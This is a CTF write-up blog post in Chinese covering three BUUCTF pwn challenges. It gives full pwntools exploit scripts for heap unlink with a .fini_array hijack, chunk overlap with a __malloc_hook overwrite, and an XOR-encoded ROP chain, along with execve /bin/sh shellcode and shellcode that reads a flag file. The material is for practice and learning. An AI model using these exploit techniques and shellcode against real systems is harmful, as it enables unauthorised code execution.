BUUCTF-PWN刷题记录-13(静态编译+去除调试符号)

[中关村2019]one_string(unlink)

在这里插入图片描述
看这个保护,我以为很简单,然而···
这题去除了所有符号,并且是静态编译,所以第一步就是把主要函数找出来,如下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在edit函数中,程序会重新计算content的长度,这个时候如果利用了chunk复用,下一个chunk的size也会被计算进长度,这样下次编辑的时候就能覆盖size了,然后就是熟悉的unlink大法了
在这里插入图片描述
在这里插入图片描述
然而本题还有一个问题,就是我们不知道各种hook函数的地址(也不是不知道,可以在malloc函数中找一找),这里我们采用劫持.finit_array的办法,把shellcode写入bss段,然后在程序退出时执行

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 26934)
#r = process("./zgc_2019_one_string")
context(arch = 'i386', os = 'linux', log_level = 'debug')

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x08048B46
	x/10wx 0x080EBA00
	x/10wx 0x080EBA40
	c
	''')

elf = ELF("./zgc_2019_one_string")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss = 0x080EAF80
content = 0x080EBA40
finit = 0x080E9F74

menu = "Command: "
def add(size, content):
	r.sendline('1')
	sleep(0.2)
	r.sendline(str(size))
	sleep(0.2)
	r.send(content)
	sleep(0.2)

def delete(index):
	r.sendline('2')
	sleep(0.2)
	r.sendline(str(index))
	sleep(0.2)


def edit(index,content):
	r.sendline('3')
	sleep(0.2)
	r.sendline(str(index))
	sleep(0.2)
	r.send(content)
	sleep(0.2)
	
r.recvuntil("You know all, Please input:")
add(0x78, 'chunk0\n')
add(0x78, 'chunk1\n')
add(0x78, 'chunk2\n')
add(0x74, 'chunk3\n')
add(0xf8, 'chunk4\n')
add(0x20, 'chunk5\n')
#pause()
payload = 'a' * 0x74 
edit(3, payload)
#pause()
payload = p32(0) + p32(0x71) + p32(content+0xc-0xc) + p32(content+0xc-0x8) + 'a'*0x60 + p32(0x70) + '\n'
edit(3, payload)
#pause()
delete(4)
#pause()
#shellcode = asm(shellcraft.sh())
payload = p32(bss)*2 + p32(finit) + '\n'
edit(3, payload)
edit(3,p32(0x80eba00)+'\n')
edit(0,p32(0x500)*6+'\n')
#edit(3,p32(0x80EA4D8)*2 + p32(0x80eba60)+'\n')
payload = p32(bss)*2 + p32(finit) + '\n'
edit(3, payload)
#pause()
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00000067;push 0x616c662f;mov ebx,esp;int 0x80;"
read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
shellcode = open_shellcode + read_shellcode + write_shellcode
edit(1, asm(shellcode)+'\n')
edit(2, p32(bss)*2+'\n')
r.sendline('4')


r.interactive()

huxiangbei_2019_hacknote(块重叠)

在这里插入图片描述
依然是一道去了所有符号的题目,还原一下,贴一下主要部分
在这里插入图片描述

在这里插入图片描述
delete中将指针置空
在这里插入图片描述

edit中还有和上一题一样的漏洞
在这里插入图片描述
v4中保存着堆的控制结构(content指针,size),因为栈地址随机所以我们不知道真实地址
在这里插入图片描述
利用思路:
因为这题堆控制结构在栈上我们不知道真实地址所以无法使用unlink,不过能使用块重叠的办法实现攻击

  1. 申请这么几个
add(0x18, 'chunk0\n')
add(0x18, 'chunk1\n')
add(0x38, 'chunk2\n')
add(0x20, 'chunk3\n')
  1. 编辑0,先填满,这里strlen重新计算长度,然后再次编辑,把chunk1的size改为0x61

  2. 释放2,然后释放1,申请一个0x58大小的块把1重新申请回来,然后把2的fd改为0x6cb772,这里利用错位伪造出一个0x40大小的chunk(我记得size最高12bit会被忽略)
    在这里插入图片描述

  3. house of spirit改了__malloc_hook,然后注入shellcode执行

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 25890)
#r = process("./huxiangbei_2019_hacknote")
context(arch = 'i386', os = 'linux', log_level = 'debug')

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x400E71
	c
	''')

elf = ELF("./huxiangbei_2019_hacknote")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss = 0x6CCB60
malloc_hook = 0x6CB788
main_arene = 0x6CB800
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

menu = "-----------------\n"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Input the Size:\n")
	r.sendline(str(size))
	r.recvuntil("Input the Note:\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Input the Index of Note:\n")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Input the Index of Note:\n")
	r.sendline(str(index))
	r.recvuntil("Input the Note:\n")
	r.send(content)

add(0x18, 'chunk0\n')
add(0x18, 'chunk1\n')
add(0x38, 'chunk2\n')
add(0x20, 'chunk3\n')
edit(0, 'a'*0x18)
edit(0, 'a'*0x18+'\x61')
delete(2)
delete(1)
payload = 'a'*0x18 + p64(0x41) + p64(malloc_hook-0x10-6) + '\n'
add(0x58, payload)#1
add(0x38, p64(malloc_hook-6) + '\n')#2
payload = 'a'*6 + p64(malloc_hook+8) + shellcode +'\n'
add(0x38, payload)
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the Size:\n")
r.sendline('10')

r.interactive()

ciscn_2019_s_8(ROP)

在这里插入图片描述
这道题开了NX,不能注入shellcode了
程序逻辑很简单,就是读入密码然后check

在这里插入图片描述
然而在main中我们可以读入不限长度的password,check中的strcpy就造成了有一次缓冲区溢出
另外,这题我们需要使用ROP获得shell,这必然导致ROPchain有大量\x00,check中又把我们的输入与0x66进行了亦或,这就解决了\x00的问题
在这里插入图片描述
Exp:

from pwn import *

def encode(s):
    res = ''
    for i in range(len(s)):
        res += chr(ord(s[i])^0x66)
    return res

r = remote("node3.buuoj.cn", 29419)
#r = process("./ciscn_2019_s_8")

DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x400D23
    c
    ''')
elf = ELF("./ciscn_2019_s_8")
libc = ELF("./libc/libc-2.27.so")
pop_rdi = 0x4006e6
pop_rdx_rsi = 0x44c179
pop_rsi = 0x4040fe
bss = 0x6BC2E0
read = 0x449BE0
puts = 0x410550
open = 0x4102B0
syscall = 0x40139c
pop_rax = 0x449b9c
mov_rax_inrsi = 0x47f7b1

ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) # input /bin/sh
ROP += p64(pop_rdi) + p64(bss) + p64(pop_rdx_rsi) + p64(0)*2 + p64(pop_rax) + p64(0x3B) + p64(syscall)


r.recvuntil("Please enter your Password: \n")
payload = 'a'*0x50 + encode(ROP)
r.sendline(payload)
r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105765894